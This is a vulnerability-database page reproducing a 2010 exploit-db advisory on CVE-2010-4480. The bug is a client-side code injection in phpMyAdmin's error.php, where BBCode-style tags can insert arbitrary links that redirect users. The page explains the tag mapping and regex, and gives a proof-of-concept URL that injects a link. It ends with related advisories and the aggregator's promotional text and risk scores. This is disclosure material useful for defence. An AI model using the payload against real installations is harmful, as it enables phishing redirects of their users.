phpMyAdmin - Client-Side Code Injection / Redirect Link Falsification
🗓️ 06 Dec 2010 00:00:00Reported by emgent white_sheep & scoxType
exploitdb🔗 www.exploit-db.com👁 116 Views
| Reporter | Title | Published | Views | Family All 31 |
|---|---|---|---|---|
| CVE-2010-4480 | 6 Dec 201000:00 | – | circl | |
| CVE-2010-4480 | 8 Dec 201015:00 | – | cve | |
| CVE-2010-4480 | 8 Dec 201015:00 | – | cvelist | |
| [SECURITY] [DSA 2139-1] New phpmyadmin packages fix several vulnerabilities | 31 Dec 201015:57 | – | debian | |
| CVE-2010-4480 | 8 Dec 201015:00 | – | debiancve | |
| Debian DSA-2139-1 : phpmyadmin - several vulnerabilities | 3 Jan 201100:00 | – | nessus | |
| Fedora 13 : phpMyAdmin-3.3.10-1.fc13 (2011-3733) | 30 Mar 201100:00 | – | nessus | |
| Fedora 14 : phpMyAdmin-3.3.10-1.fc14 (2011-3737) | 30 Mar 201100:00 | – | nessus | |
| Fedora 15 : phpMyAdmin-3.3.10-1.fc15 (2011-3761) | 27 Mar 201100:00 | – | nessus | |
| phpMyAdmin error.php BBcode Tag XSS (PMASA-2010-9) | 6 Jan 201100:00 | – | nessus |
10
PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification
Credits:
Emanuele 'emgent' Gentili <[email protected]>
Marco 'white_sheep' Rondini <[email protected]>
Alessandro 'scox' Scoscia <[email protected]>
In error.php, PhpMyAdmin permit to insert text and restricted tag, like BBCode.
With tag [a@url@page]Click Me[/a], you can insert your own page, and redirect all users.
Available tags are:
'[i]' => '<em>',
'[/i]' => '</em>',
'[em]' => '<em>',
'[/em]' => '</em>',
'[b]' => '<strong>',
'[/b]' => '</strong>',
'[strong]' => '<strong>',
'[/strong]' => '</strong>',
'[tt]' => '<code>',
'[/tt]' => '</code>',
'[code]' => '<code>',
'[/code]' => '</code>',
'[kbd]' => '<kbd>',
'[/kbd]' => '</kbd>',
'[br]' => '<br />',
'[/a]' => '</a>',
'[sup]' => '<sup>',
'[/sup]' => '</sup>',
and replace '/\[a@([^"@]*)@([^]"]*)\]/' with '<a href="\1" target="\2">'
POC:
http://127.0.0.1/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It%27s+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.tigersecurity.it%40_self]This%20Is%20a%20Link[%2Fa]
OWASP Reference:
http://www.owasp.org/index.php/Unvalidated_InputData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Dec 2016 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 24.3
EPSS0.05829